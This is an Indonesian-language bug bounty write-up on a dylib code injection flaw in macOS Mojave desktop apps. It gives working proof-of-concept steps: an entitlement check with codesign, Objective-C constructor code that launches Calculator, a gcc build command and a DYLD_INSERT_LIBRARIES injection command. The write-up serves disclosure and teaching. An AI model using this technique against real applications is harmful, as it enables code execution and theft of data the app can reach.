Code Injection Vulnerability on Desktop MacOs Mojave.

Halo Sobat Bug Hunter Kuh, kali ini saya akan share Bug yang ada pada desktop MacOs, untuk windows tunggu pada tulisan selanjutnya ya sobat… 😀

#impact pada temuan ini adalah : Eksekusi kode dalam konteks aplikasi. Sumber daya sensitif apa pun yang dapat diakses melalui aplikasi dapat dicuri. Penyerang juga dapat melakukan tindakan apa pun yang mungkin dilakukan pengguna dari aplikasi.

Oke sebelum kita mulai, saya ingin membagikan dulu awal mula saya mendapat bug pada beberapa aplikasi yang dapat di install di desktop MacOs.

Awalnya itu saya merenung dulu beberapa hari karena beberapa bug yang saya submit itu duplicate dan itu bug yang ada di website, dengan kata lain saya kalah cepat submitnya dengan teman teman bug hunter, dari sanalah karna frustasi saya mencoba membaca baca terkait temuan yang pernah ada di desktopApps, dan ini mungkin jarang temen temen yang nyari pada desktop App, kemudian saya menyumbangkan beberapa waktu saya untuk membaca baca tentang flow di desktop App, dan kemudian ketemulah dengan bug yang menurut saya simple tapi lumayan lah untuk Bountynya. 😀

Oke langsung saja kita mulai step by stepnya …

Pertama tama siapkan kopi hitam yang sudah diseduh agar membaca writeup ini bisa sambil ngopi. 😀

POC :

  1. Pastikan teman teman sudah menginstall aplikasi desktop di MacOs kesayangan anda.

2. Kemudian untuk mengecek aplikasi tersebut vulner atau tidak kita bisa cek menggunakan terminal kesayangan anda. (bukan terminal bis ya)

Kemudian setelah terbuka terminalnya, tinggal ketikan command ini.

“codesign -d –entitlements :- /Applications/nameapp.app”

3. Jika muncul kode ini “<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/> “ ya 70-80% Valid si harusnya.

4. Sekarang kita coba untuk eksploitasi dengan temuan yang sudah kita temukan tersebut.

5. Teman teman bisa buka text editor yang disuka kemudian pastekan kode ini dan simpan dengan nama injection.m
#include <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn() {

   puts(“\n\nHELLO FROM THE DYLIB!\n\n”);

   NSTask *task = [[NSTask alloc] init];

   task.launchPath @”/Applications/Calculator.app/Contents/MacOs/Calculator”;

   [task launch];

}

6. Kemudian kita coba compile file injection.m tersebut di terminal menjadi format dylib dengan kode seperti ini.

 gcc -dynamiclib -undefined suppress -flat_namespace injection.m -o injection.dylib -compatibility_version 10.10.10 -lobjc -framework Foundation

7. Setelah di compile file injection.m tersebut, nanti temen temen akan dapat file baru yang Namanya injection.dylib

8. Setelah berhasil terbuat, sekarang saatnya eksekusi dengan cara seperti berikut;

9. Pastikan terminal temen temen sudah mengarahkan path direktori ke file injection, dalam hal ini saya membuat folder baru dan file injection tersebut saya masukan ke folder yang sudah dibuat, agar lebih mudah. 🙂

10. Jika sudah sekarang tuliskan kode ini pada terminal teman teman.

DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=./injection.dylib /Applications/name.app/Contents/MacOS/nameapp

11. Nantinya jika ini vulner akan tampil seperti gambar diatas dan akan terbuka untuk aplikasi yang vulner tersebut plus dengan calculator secara bersamaan.

Author : Helmay Cahyadi

Latest articles

Related articles

Leave a reply

Please enter your comment!
Please enter your name here